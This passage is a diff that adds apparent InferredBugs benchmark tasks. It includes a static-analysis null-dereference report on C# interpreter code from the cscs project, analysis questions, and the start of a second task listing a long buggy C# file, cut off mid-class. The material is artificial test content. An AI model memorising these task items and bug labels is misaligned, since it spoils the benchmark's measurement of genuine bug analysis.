+            local.m_isGlobal = false;
+            StackLevel locals = null;
+            if (s_locals.Count == 0)
+            {
+                locals = new StackLevel();
+                s_locals.Push(locals);
+            }
+            else
+            {
+                locals = s_locals.Peek();
+            }
+
+            var name = Constants.ConvertName(local.Name);
+            local.Name = Constants.GetRealName(name);
+            locals.Variables[name] = local;
+#if UNITY_EDITOR == false && UNITY_STANDALONE == false && __ANDROID__ == false && __IOS__ == false
+            Translation.AddTempKeyword(name);
+#endif
+        }
+
+        public static void PopLocalVariables()
+        {
+            if (s_locals.Count > 0)
+            {
+                s_locals.Pop();
+            }
+        }
+
+        public static int GetCurrentStackLevel()
+        {
+            return s_locals.Count;
+        }
+
+        public static void InvalidateStacksAfterLevel(int level)
+        {
+            while (level >= 0 && s_locals.Count > level)
+            {
+                s_locals.Pop();
+            }
+        }
+
+        public static bool PopLocalVariable(string name)
+        {
+            if (s_locals.Count == 0)
+            {
+                return false;
+            }
+            Dictionary<string, ParserFunction> locals = s_locals.Peek().Variables;
+            name = Constants.ConvertName(name);
+            return locals.Remove(name);
+        }
+
+        public Variable GetValue(ParsingScript script)
+        {
+            return m_impl.Evaluate(script);
+        }
+
+        public async Task<Variable> GetValueAsync(ParsingScript script)
+        {
+            return await m_impl.EvaluateAsync(script);
+        }
+
+        protected virtual Variable Evaluate(ParsingScript script)
+        {
+            // The real implementation will be in the derived classes.
+            return new Variable();
+        }
+
+        protected virtual Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            // If not overriden, the non-sync version will be called.
+            return Task.FromResult( Evaluate(script) );
+        }
+
+        // Derived classes may want to return a new instance in order to
+        // not to use same object in calculations.
+        public virtual ParserFunction NewInstance()
+        {
+            return this;
+        }
+
+        public static void CleanUp()
+        {
+            s_functions.Clear();
+            s_actions.Clear();
+            s_locals.Clear();
+            s_localScope.Clear();
+        }
+
+        protected string m_name;
+        public string Name
+        {
+            get { return m_name; }
+            set { m_name = value; }
+        }
+
+        protected bool m_isGlobal = true;
+        public bool isGlobal { get { return m_isGlobal; } set { m_isGlobal = value; } }
+
+        protected bool m_isNative = true;
+        public bool isNative { get { return m_isNative; } set { m_isNative = value; } }
+
+        ParserFunction m_impl;
+        // Global functions and variables:
+        static Dictionary<string, ParserFunction> s_functions = new Dictionary<string, ParserFunction>();
+
+        // Global actions - function:
+        static Dictionary<string, ActionFunction> s_actions = new Dictionary<string, ActionFunction>();
+
+        // Local scope variables- defined only in the current file:
+        static Dictionary<string, Dictionary<string, ParserFunction>> s_localScope =
+           new Dictionary<string, Dictionary<string, ParserFunction>>();
+
+        public static bool IsNumericFunction(string paramName, ParsingScript script = null)
+        {
+            ParserFunction function = ParserFunction.GetFunction(paramName, script);
+            return function is INumericFunction;
+        }
+
+        public class StackLevel
+        {
+            public StackLevel(string name = null)
+            {
+                Name = name;
+                Variables = new Dictionary<string, ParserFunction>();
+            }
+            public string Name { get; set; }
+            public Dictionary<string, ParserFunction> Variables { get; set; }
+        }
+
+        // Local variables:
+        // Stack of the functions being executed:
+        static Stack<StackLevel> s_locals = new Stack<StackLevel>();
+        public static Stack<StackLevel> ExecutionStack { get { return s_locals; } }
+
+        static StringOrNumberFunction s_strOrNumFunction =
+          new StringOrNumberFunction();
+        static IdentityFunction s_idFunction =
+          new IdentityFunction();
+
+        public static int StackLevelDelta { get; set; }
+    }
+
+    public abstract class ActionFunction : ParserFunction
+    {
+        protected string m_action;
+        public string Action { set { m_action = value; } }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `name` last assigned on line 242 could be null and is dereferenced by call to `GetRealName(...)` at line 243, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ParserFunction.AddGlobalOrLocalVariable(String,GetVarFunction)
+
+### File:
+cscs/ParserFunction.cs
+
+### Key:
+ParserFunction.cs|AddGlobalOrLocalVariable|NULL_DEREFERENCE
+
+### Node Key:
+da6057ed8d592f4d79dec8ac100d4c02
+
+### Hash:
+eb44eb92ddc4fb4a3bd3cf3e55fb489c
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1846/instruction.md b/inferredbugs-1846/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1cbe85779085dc41444e78ca2315acf141281cea
--- /dev/null
+++ b/inferredbugs-1846/instruction.md
@@ -0,0 +1,2978 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** cscs
+**Bug ID:** 104
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace SplitAndMerge
+{
+    class BreakStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return new Variable(Variable.VarType.BREAK);
+        }
+    }
+
+    class ContinueStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return new Variable(Variable.VarType.CONTINUE);
+        }
+    }
+
+    class ReturnStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            script.MoveForwardIf(Constants.SPACE);
+            if (!script.FromPrev(Constants.RETURN.Length).Contains(Constants.RETURN))
+            {
+                script.Backward();
+            }
+            Variable result = Utils.GetItem(script);
+
+            // If we are in Return, we are done:
+            script.SetDone();
+            result.IsReturn = true;
+
+            return result;
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            script.MoveForwardIf(Constants.SPACE);
+            if (!script.FromPrev(Constants.RETURN.Length).Contains(Constants.RETURN))
+            {
+                script.Backward();
+            }
+            Variable result = await Utils.GetItemAsync(script);
+
+            // If we are in Return, we are done:
+            script.SetDone();
+            result.IsReturn = true;
+
+            return result;
+        }
+    }
+
+    class TryBlock : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return Interpreter.Instance.ProcessTry(script);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            return await Interpreter.Instance.ProcessTryAsync(script);
+        }
+    }
+
+    class ExitFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            Environment.Exit(0);
+            return Variable.EmptyInstance;
+        }
+    }
+
+    class NullFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return Variable.EmptyInstance;
+        }
+    }
+    class InfinityFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return new Variable(double.PositiveInfinity);
+        }
+    }
+    class NegInfinityFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return new Variable(double.NegativeInfinity);
+        }
+    }
+
+    class IsNaNFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name);
+            Variable arg = args[0];
+            return new Variable(arg.Type != Variable.VarType.NUMBER || double.IsNaN(arg.Value));
+        }
+    }   
+
+    class TypeOfFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            var args = Utils.GetTokens(script, Constants.TOKEN_SEPARATION);
+            Utils.CheckArgs(args.Count, 1, m_name);
+
+            if (args[0].StartsWith("\""))
+            {
+                return new Variable(Constants.TypeToString(Variable.VarType.STRING).ToLower());
+            }
+            if (Utils.CanConvertToDouble(args[0], out double _))
+            {
+                return new Variable(Constants.TypeToString(Variable.VarType.NUMBER).ToLower());
+            }
+
+            var vari = GetVariable(args[0], script);
+            if (vari == null || vari.GetValue(script).Type == Variable.VarType.UNDEFINED)
+            {
+                return Variable.Undefined;
+            }
+
+            var exists = FunctionExists(args[0]);
+            if (!exists)
+            {
+                return Variable.Undefined;
+            }
+
+            bool complexVariable = args.Count > 1 &&
+                Utils.CanConvertToDouble(args[1], out double converted) && converted > 0;
+            Variable element = null;
+            if (complexVariable)
+            {
+                element = Utils.GetVariable(args[0], script, false);
+            }
+            if (element == null)
+            {
+                element = new Variable(args[0]);
+            }
+
+            string type = element.GetTypeString();
+            script.MoveForwardIf(Constants.END_ARG, Constants.SPACE);
+
+            Variable newValue = new Variable(type.ToLower());
+            return newValue;
+        }
+    }
+
+    class IsFiniteFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name);
+            Variable arg = args[0];
+
+            double value = arg.Value;
+            if (arg.Type != Variable.VarType.NUMBER &&
+               !double.TryParse(arg.String, out value))
+            {
+                value = double.PositiveInfinity;
+            }
+
+            return new Variable(!double.IsInfinity(value));
+        }
+    }
+
+    class IsUndefinedFunction : ParserFunction
+    {
+        string m_argument;
+        string m_action;
+
+        internal IsUndefinedFunction(string arg = "", string action = "")
+        {
+            m_argument = arg;
+            m_action = action;
+        }
+
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            var variable =  ParserFunction.GetVariable(m_argument, script);
+            var varValue = variable == null ? null : variable.GetValue(script);
+            bool isUndefined = varValue == null || varValue.Type == Variable.VarType.UNDEFINED;
+
+            bool result = m_action == "===" || m_action == "==" ? isUndefined :
+                          !isUndefined;
+            return new Variable(result);
+        }
+    }
+
+    class ObjectPropsFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            Variable obj = Utils.GetItem(script, true);
+            string propName = Utils.GetItem(script, true).AsString();
+            script.MoveForwardIf(',');
+
+            Variable value = Utils.GetProperties(script);
+            obj.SetProperty(propName, value, script);
+
+            ParserFunction.AddGlobal(obj.ParamName, new GetVarFunction(obj), false);
+             
+            return new Variable(obj.ParamName);
+        }
+    }
+
+    class ThrowFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // 1. Extract what to throw.
+            Variable arg = Utils.GetItem(script);
+
+            // 2. Convert it to a string.
+            string result = arg.AsString();
+
+            // 3. Throw it!
+            throw new ArgumentException(result);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            // 1. Extract what to throw.
+            Variable arg = await Utils.GetItemAsync(script);
+
+            // 2. Convert it to a string.
+            string result = arg.AsString();
+
+            // 3. Throw it!
+            throw new ArgumentException(result);
+        }
+    }
+
+    class VarFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            var args = Utils.GetTokens(script);
+            Variable result = Variable.EmptyInstance;
+            foreach (var arg in args)
+            {
+                var ind = arg.IndexOf('=');
+                if (ind <= 0)
+                {
+                    if (!FunctionExists(arg))
+                    {
+                        AddGlobalOrLocalVariable(arg, new GetVarFunction(new Variable(Variable.VarType.NONE)), script);
+                    }
+                    continue;
+                }
+                var varName = arg.Substring(0, ind);
+                ParsingScript tempScript = new ParsingScript(arg.Substring(ind + 1));
+                AssignFunction assign = new AssignFunction();
+                result = assign.Assign(tempScript, varName, true);
+            }
+            return result;
+        }
+
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            //var varName = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+            //char action = script.CurrentAndForward();
+
+            var args = Utils.GetTokens(script);
+            Task<Variable> result = null;
+            foreach (var arg in args)
+            {
+                var ind = arg.IndexOf('=');
+                if (ind <= 0)
+                {
+                    if (!FunctionExists(arg))
+                    {
+                        AddGlobalOrLocalVariable(arg, new GetVarFunction(new Variable(Variable.VarType.UNDEFINED)), script);
+                    }
+                    continue;
+                }
+                var varName = arg.Substring(0, ind);
+                ParsingScript tempScript = new ParsingScript(arg.Substring(ind + 1));
+                AssignFunction assign = new AssignFunction();
+                result = assign.AssignAsync(tempScript, varName, true);
+            }
+
+            return result == null ? Variable.EmptyInstance: await result;
+        }
+    }
+
+    class ShowFunction : ParserFunction, IStringFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+
+            string functionName = args[0].AsString();
+
+            CustomFunction custFunc = ParserFunction.GetFunction(functionName, script) as CustomFunction;
+            Utils.CheckNotNull(functionName, custFunc, script);
+
+#if __ANDROID__ == false && __IOS__ == false
+            CustomCompiledFunction comp = custFunc as CustomCompiledFunction;
+            if (comp != null)
+            {
+                return new Variable(comp.Precompiler.CSharpCode);
+            }
+#endif
+
+            string body = Utils.BeautifyScript(custFunc.Body, custFunc.Header);
+            Utils.PrintScript(body, script);
+
+            return new Variable(body);
+        }
+    }
+
+    class FunctionCreator : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            string funcName = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+            funcName = Constants.ConvertName(funcName);
+
+            string[] args = Utils.GetFunctionSignature(script);
+            if (args.Length == 1 && string.IsNullOrWhiteSpace(args[0]))
+            {
+                args = new string[0];
+            }
+
+            script.MoveForwardIf(Constants.START_GROUP, Constants.SPACE);
+            /*string line = */script.GetOriginalLine(out _);
+
+            int parentOffset = script.Pointer;
+
+            if (script.CurrentClass != null)
+            {
+                parentOffset += script.CurrentClass.ParentOffset;
+            }
+
+            string body = Utils.GetBodyBetween(script, Constants.START_GROUP, Constants.END_GROUP);
+            script.MoveForwardIf(Constants.END_GROUP);
+
+            CustomFunction customFunc = new CustomFunction(funcName, body, args, script);
+            customFunc.ParentScript = script;
+            customFunc.ParentOffset = parentOffset;
+
+            if (script.CurrentClass != null)
+            {
+                script.CurrentClass.AddMethod(funcName, args, customFunc);
+            }
+            else
+            {
+                ParserFunction.RegisterFunction(funcName, customFunc, false /* not native */);
+            }
+
+            return Variable.EmptyInstance;
+        }
+    }
+
+    public class CSCSClass : ParserFunction
+    {
+        public CSCSClass() {}
+
+        public CSCSClass(string className)
+        {
+            Name = className;
+            RegisterClass(className, this);
+        }
+
+        public CSCSClass(string className, string[] baseClasses)
+        {
+            Name = className;
+            RegisterClass(className, this);
+
+            foreach (string baseClass in baseClasses)
+            {
+                var bc = CSCSClass.GetClass(baseClass);
+                if (bc == null)
+                {
+                    throw new ArgumentException("Base Class [" + baseClass + "] not found.");
+                }
+
+                foreach (var entry in bc.m_classProperties)
+                {
+                    m_classProperties[entry.Key] = entry.Value;
+                }
+                foreach (var entry in bc.m_customFunctions)
+                {
+                    m_customFunctions[entry.Key] = entry.Value;
+                }
+            }
+        }
+
+        public static void RegisterClass(string className, CSCSClass obj)
+        {
+            obj.Namespace = ParserFunction.GetCurrentNamespace;
+            if (!string.IsNullOrWhiteSpace(obj.Namespace))
+            {
+                className = obj.Namespace + "." + className;
+            }
+
+            obj.Name = className;
+            className = Constants.ConvertName(className);
+            s_allClasses[className] = obj;
+        }
+
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            script.GetFunctionArgs();
+
+            // TODO: Work in progress, currently not functional
+            return Variable.EmptyInstance;
+        }
+
+        public void AddMethod(string name, string[] args, CustomFunction method)
+        {
+            if (name == m_name)
+            {
+                m_constructors[args.Length] = method;
+                for (int i = 0; i < method.DefaultArgsCount && i < args.Length; i++)
+                {
+                    m_constructors[args.Length - i - 1] = method;
+                }
+            }
+            else
+            {
+                m_customFunctions[name] = method;
+            }
+        }
+
+        public void AddProperty(string name, Variable property)
+        {
+            m_classProperties[name] = property;
+        }
+
+        public static CSCSClass GetClass(string name)
+        {
+            string currNamespace = ParserFunction.GetCurrentNamespace;
+            if (!string.IsNullOrWhiteSpace(currNamespace))
+            {
+                bool namespacePresent = name.Contains(".");
+                if (!namespacePresent)
+                {
+                    name = currNamespace + "." + name;
+                }
+            }
+
+            CSCSClass theClass = null;
+            s_allClasses.TryGetValue(name, out theClass);
+            return theClass;
+        }
+
+        static Dictionary<string, CSCSClass> s_allClasses =
+            new Dictionary<string, CSCSClass>();
+
+        Dictionary<int, CustomFunction> m_constructors =
+            new Dictionary<int, CustomFunction>();
+        Dictionary<string, CustomFunction> m_customFunctions =
+            new Dictionary<string, CustomFunction>();
+        Dictionary<string, Variable> m_classProperties =
+            new Dictionary<string, Variable>();
+
+        public ParsingScript ParentScript = null;
+        public int ParentOffset = 0;
+
+        public string Namespace { get; private set; }
+
+        public class ClassInstance : ScriptObject
+        {
+            public ClassInstance(string instanceName, string className, List<Variable> args,
+                                 ParsingScript script = null)
+            {
+                InstanceName = instanceName;
+                m_cscsClass = CSCSClass.GetClass(className);
+                if (m_cscsClass == null)
+                {
+                    throw new ArgumentException("Class [" + className + "] not found.");
+                }
+
+                // Copy over all the properties defined for this class.
+                foreach (var entry in m_cscsClass.m_classProperties)
+                {
+                    SetProperty(entry.Key, entry.Value);
+                }
+
+                // Run "constructor" if any is defined for this number of args.
+                CustomFunction constructor = null;
+                if (m_cscsClass.m_constructors.TryGetValue(args.Count, out constructor))
+                {
+                    constructor.Run(args, script, this);
+                }
+            }
+
+            public string InstanceName { get; set; }
+            CSCSClass m_cscsClass;
+
+            Dictionary<string, Variable> m_properties = new Dictionary<string, Variable>();
+            HashSet<string> m_propSet = new HashSet<string>();
+            HashSet<string> m_propSetLower = new HashSet<string>();
+
+            public override string ToString()
+            {
+                CustomFunction customFunction = null;
+                if (!m_cscsClass.m_customFunctions.TryGetValue(Constants.PROP_TO_STRING.ToLower(),
+                     out customFunction))
+                {
+                    return m_cscsClass.Name + "." + InstanceName;
+                }
+
+                Variable result = customFunction.Run(null, null, this); 
+                return result.ToString();
+            }
+
+            public Task<Variable> SetProperty(string name, Variable value)
+            {
+                m_properties[name] = value;
+                m_propSet.Add(name);
+                m_propSetLower.Add(name.ToLower());
+                return Task.FromResult( Variable.EmptyInstance );
+            }
+
+            public async Task<Variable> GetProperty(string name, List<Variable> args = null, ParsingScript script = null)
+            {
+                if (m_properties.TryGetValue(name, out Variable value))
+                {
+                    return value;
+                }
+
+                if (!m_cscsClass.m_customFunctions.TryGetValue(name, out CustomFunction customFunction))
+                {
+                    return null;
+                }
+                if (args == null)
+                {
+                    return Variable.EmptyInstance;
+                }
+
+                foreach (var entry in m_cscsClass.m_classProperties)
+                {
+                    args.Add(entry.Value);
+                }
+
+                Variable result = await customFunction.RunAsync(args, script, this);
+                return result;
+            }
+
+            public List<KeyValuePair<string, Variable>> GetPropList()
+            {
+                List<KeyValuePair<string, Variable>> props = new List<KeyValuePair<string, Variable>>();
+                foreach (var entry in m_properties)
+                {
+                    props.Add(new KeyValuePair<string, Variable>(entry.Key, entry.Value));
+                }
+                return props;
+            }
+
+            public List<string> GetProperties()
+            {
+                List<string> props = new List<string>(m_properties.Keys);
+                props.AddRange(m_cscsClass.m_customFunctions.Keys);
+
+                return props;
+            }
+            public bool PropertyExists(string name)
+            {
+                return m_propSetLower.Contains(name.ToLower());
+            }
+
+            public bool FunctionExists(string name)
+            {
+                if (!m_cscsClass.m_customFunctions.TryGetValue(name, out CustomFunction customFunction))
+                {
+                    return false;
+                }
+                return true;
+            }
+        }
+    }
+
+    class NameExistsFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            string varName = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+            varName = Constants.ConvertName(varName);
+
+            bool result = ParserFunction.GetVariable(varName, script) != null;
+            return new Variable(result);
+        }
+    }
+
+    class EnumFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<string> properties = Utils.ExtractTokens(script);
+
+            if (properties.Count == 1 && properties[0].Contains("."))
+            {
+                return UseExistingEnum(properties[0]);
+            }
+
+            Variable enumVar = new Variable(Variable.VarType.ENUM);
+            for (int i = 0; i < properties.Count; i++)
+            {
+                enumVar.SetEnumProperty(properties[i], new Variable(i));
+            }
+
+            return enumVar;
+        }
+
+        public static Variable UseExistingEnum(string enumName)
+        {
+            Type enumType = GetEnumType(enumName);
+            if (enumType == null || !enumType.IsEnum)
+            {
+                return Variable.EmptyInstance;
+            }
+
+            var names = Enum.GetNames(enumType);
+
+            Variable enumVar = new Variable(Variable.VarType.ENUM);
+            for (int i = 0; i < names.Length; i++)
+            {
+                var numValue = Enum.Parse(enumType, names[i], true);
+                enumVar.SetEnumProperty(names[i], new Variable((int)numValue));
+            }
+
+            return enumVar;
+        }
+
+        public static Type GetEnumType(string enumName)
+        {
+            string[] tokens = enumName.Split('.');
+
+            Type enumType = null;
+            int index = 0;
+            string typeName = "";
+            while(enumType == null && index < tokens.Length)
+            {
+                if (!string.IsNullOrWhiteSpace(typeName))
+                {
+                    typeName += ".";
+                }
+                typeName += tokens[index];
+                enumType = GetType(typeName);
+                index++;
+            }
+
+            for (int i = index; i < tokens.Length && enumType != null; i++)
+            {
+                enumType = enumType.GetNestedType(tokens[i]);
+            }
+
+            if (enumType == null || !enumType.IsEnum)
+            {
+                return null;
+            }
+
+            return enumType;
+        }
+
+        public static Type GetType(string typeName)
+        {
+            var assemblies = AppDomain.CurrentDomain.GetAssemblies();
+            foreach (var assembly in assemblies)
+            {
+                var type = assembly.GetType(typeName, false, true);
+                if (type != null)
+                {
+                    return type;
+                }
+            }
+            return null;
+        }
+    }
+
+    class NewObjectFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            string className = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+            className = Constants.ConvertName(className);
+            script.MoveForwardIf(Constants.START_ARG);
+            List<Variable> args = script.GetFunctionArgs();
+
+            CompiledClass csClass = CSCSClass.GetClass(className) as CompiledClass;
+            if (csClass != null)
+            {
+                ScriptObject obj = csClass.GetImplementation(args);
+                return new Variable(obj);
+            }
+            CompiledClassAsync csClassAsync = CSCSClass.GetClass(className) as CompiledClassAsync;
+            if (csClassAsync != null)
+            {
+                ScriptObject obj = csClassAsync.GetImplementationAsync(args).Result;
+                return new Variable(obj);
+            }
+
+            CSCSClass.ClassInstance instance = new
+                CSCSClass.ClassInstance(script.CurrentAssign, className, args, script);
+
+            return new Variable(instance);
+        }
+
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            string className = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+            className = Constants.ConvertName(className);
+            script.MoveForwardIf(Constants.START_ARG);
+            List<Variable> args = await script.GetFunctionArgsAsync();
+
+            CompiledClassAsync csClassAsync = CSCSClass.GetClass(className) as CompiledClassAsync;
+            if (csClassAsync != null)
+            {
+                ScriptObject obj = await csClassAsync.GetImplementationAsync(args);
+                return new Variable(obj);
+            }
+            CompiledClass csClass = CSCSClass.GetClass(className) as CompiledClass;
+            if (csClass != null)
+            {
+                ScriptObject obj = csClass.GetImplementation(args);
+                return new Variable(obj);
+            }
+
+            CSCSClass.ClassInstance instance = new
+                CSCSClass.ClassInstance(script.CurrentAssign, className, args, script);
+
+            return new Variable(instance);
+        }
+    }
+
+    public class ClassCreator : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            string className = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+            className = Constants.ConvertName(className);
+            string[] baseClasses = Utils.GetBaseClasses(script);
+            CSCSClass newClass = new CSCSClass(className, baseClasses);
+
+            script.MoveForwardIf(Constants.START_GROUP, Constants.SPACE);
+
+            newClass.ParentOffset = script.Pointer;
+            newClass.ParentScript = script;
+            /*string line = */script.GetOriginalLine(out _);
+
+            string scriptExpr = Utils.GetBodyBetween(script, Constants.START_GROUP,
+                                                     Constants.END_GROUP);
+            script.MoveForwardIf(Constants.END_GROUP);
+
+            string body = Utils.ConvertToScript(scriptExpr, out _);
+
+            Variable result = null;
+            ParsingScript tempScript = script.GetTempScript(body);
+            tempScript.CurrentClass = newClass;
+            tempScript.DisableBreakpoints = true;
+
+            // Uncomment if want to step into the class creation code when the debugger is attached (unlikely)
+            /*Debugger debugger = script != null && script.Debugger != null ? script.Debugger : Debugger.MainInstance;
+            if (debugger != null)
+            {
+                result = debugger.StepInFunctionIfNeeded(tempScript);
+            }*/
+
+            while (tempScript.Pointer < body.Length - 1 &&
+                  (result == null || !result.IsReturn))
+            {
+                result = tempScript.Execute();
+                tempScript.GoToNextStatement();
+            }
+
+            return Variable.EmptyInstance;
+        }
+    }
+
+    public class NamespaceFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            string namespaceName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+            //Utils.CheckNotEnd(script, m_name);
+            Variable result = null;
+
+            ParserFunction.AddNamespace(namespaceName);
+            try
+            {
+                script.MoveForwardIf(Constants.START_GROUP);
+                string scriptExpr = Utils.GetBodyBetween(script, Constants.START_GROUP,
+                                                         Constants.END_GROUP);
+                script.MoveForwardIf(Constants.END_GROUP);
+
+                Dictionary<int, int> char2Line;
+                string body = Utils.ConvertToScript(scriptExpr, out char2Line);
+
+                ParsingScript tempScript = script.GetTempScript(body);
+                tempScript.DisableBreakpoints = true;
+                tempScript.MoveForwardIf(Constants.START_GROUP);
+
+                Debugger debugger = script != null && script.Debugger != null ? script.Debugger : Debugger.MainInstance;
+                if (debugger != null)
+                {
+                    result = debugger.StepInFunctionIfNeeded(tempScript).Result;
+                }
+
+                while (tempScript.Pointer < body.Length - 1 &&
+                      (result == null || !result.IsReturn))
+                {
+                    result = tempScript.Execute();
+                    tempScript.GoToNextStatement();
+                }
+            }
+            finally
+            {
+                ParserFunction.PopNamespace();
+            }
+
+            return result;
+        }
+    }
+
+    public class CustomFunction : ParserFunction
+    {
+        internal CustomFunction(string funcName,
+                                string body, string[] args, ParsingScript script)
+        {
+            Name = funcName;
+            m_body = body;
+            m_args = RealArgs = args;
+
+            for (int i = 0; i < args.Length; i++)
+            {
+                string arg = args[i];
+                int ind = arg.IndexOf('=');
+                if (ind > 0)
+                {
+                    RealArgs[i] = arg.Substring(0, ind).Trim();
+                    m_args[i] = RealArgs[i].ToLower();
+                    string defValue = ind >= arg.Length - 1 ? "" : arg.Substring(ind + 1).Trim();
+
+                    Variable defVariable = Utils.GetVariableFromString(defValue, script);
+                    defVariable.CurrentAssign = m_args[i];
+                    defVariable.Index = i;
+
+                    m_defArgMap[i] = m_defaultArgs.Count;
+                    m_defaultArgs.Add(defVariable);
+                }
+                else
+                {
+                    m_args[i] = RealArgs[i].ToLower();
+                }
+
+                ArgMap[m_args[i]] = i;
+            }
+        }
+
+        public void RegisterArguments(List<Variable> args,
+                                      List<KeyValuePair<string, Variable>> args2 = null)
+        {
+            if (args == null)
+            {
+                args = new List<Variable>();
+            }
+            int missingArgs = m_args.Length - args.Count;
+
+            bool namedParameters = false;
+            for (int i = 0; i < args.Count; i++)
+            {
+                var arg = args[i];
+                int argIndex = -1;
+                if (ArgMap.TryGetValue(arg.CurrentAssign, out argIndex))
+                {
+                    namedParameters = true;
+                    if (i != argIndex)
+                    {
+                        args[i] = argIndex < args.Count ? args[argIndex] : args[i];
+                        while (argIndex > args.Count - 1)
+                        {
+                            args.Add(Variable.EmptyInstance);
+                        }
+                        args[argIndex] = arg;
+                    }
+                }
+                else if (namedParameters)
+                {
+                    throw new ArgumentException("All arguments in function [" + m_name +
+                     "] must be in arg=value form.");
+                }
+            }
+
+            if (missingArgs > 0 && missingArgs <= m_defaultArgs.Count)
+            {
+                if (!namedParameters)
+                {
+                    for (int i = m_defaultArgs.Count - missingArgs; i < m_defaultArgs.Count; i++)
+                    {
+                        args.Add(m_defaultArgs[i]);
+                    }
+                }
+                else
+                {
+                    for (int i = 0; i < args.Count; i++)
+                    {
+                        if (args[i].Type == Variable.VarType.NONE ||
+                           (!string.IsNullOrWhiteSpace(args[i].CurrentAssign) &&
+                            args[i].CurrentAssign != m_args[i]))
+                        {
+                            int defIndex = -1;
+                            if (!m_defArgMap.TryGetValue(i, out defIndex))
+                            {
+                                throw new ArgumentException("No argument [" + m_args[i] +
+                                 "] given for function [" + m_name + "].");
+                            }
+                            args[i] = m_defaultArgs[defIndex];
+                        }
+                    }
+                }
+            }
+            for (int i = args.Count; i < m_args.Length; i++)
+            {
+                int defIndex = -1;
+                if (!m_defArgMap.TryGetValue(i, out defIndex))
+                {
+                    throw new ArgumentException("No argument [" + m_args[i] +
+                     "] given for function [" + m_name + "].");
+                }
+                args.Add(m_defaultArgs[defIndex]);
+            }
+            m_stackLevel = new StackLevel(m_name);
+
+            if (args2 != null)
+            {
+                foreach (var entry in args2)
+                {
+                    var arg = new GetVarFunction(entry.Value);
+                    arg.Name = entry.Key;
+                    m_stackLevel.Variables[entry.Key] = arg;
+                }
+            }
+
+            int maxSize = Math.Min(args.Count, m_args.Length);
+            for (int i = 0; i < maxSize; i++)
+            {
+                var arg = new GetVarFunction(args[i]);
+                arg.Name = m_args[i];
+                m_stackLevel.Variables[m_args[i]] = arg;
+            }
+
+            for (int i = m_args.Length; i < args.Count; i++)
+            {
+                var arg = new GetVarFunction(args[i]);
+                m_stackLevel.Variables[args[i].ParamName] = arg;
+            }
+
+            if (NamespaceData  != null)
+            {
+                var vars = NamespaceData.Variables;
+                string prefix = NamespaceData.Name + ".";
+                foreach (KeyValuePair<string, ParserFunction> elem in vars)
+                {
+                    string key = elem.Key.StartsWith(prefix, StringComparison.OrdinalIgnoreCase) ?
+                        elem.Key.Substring(prefix.Length) : elem.Key;
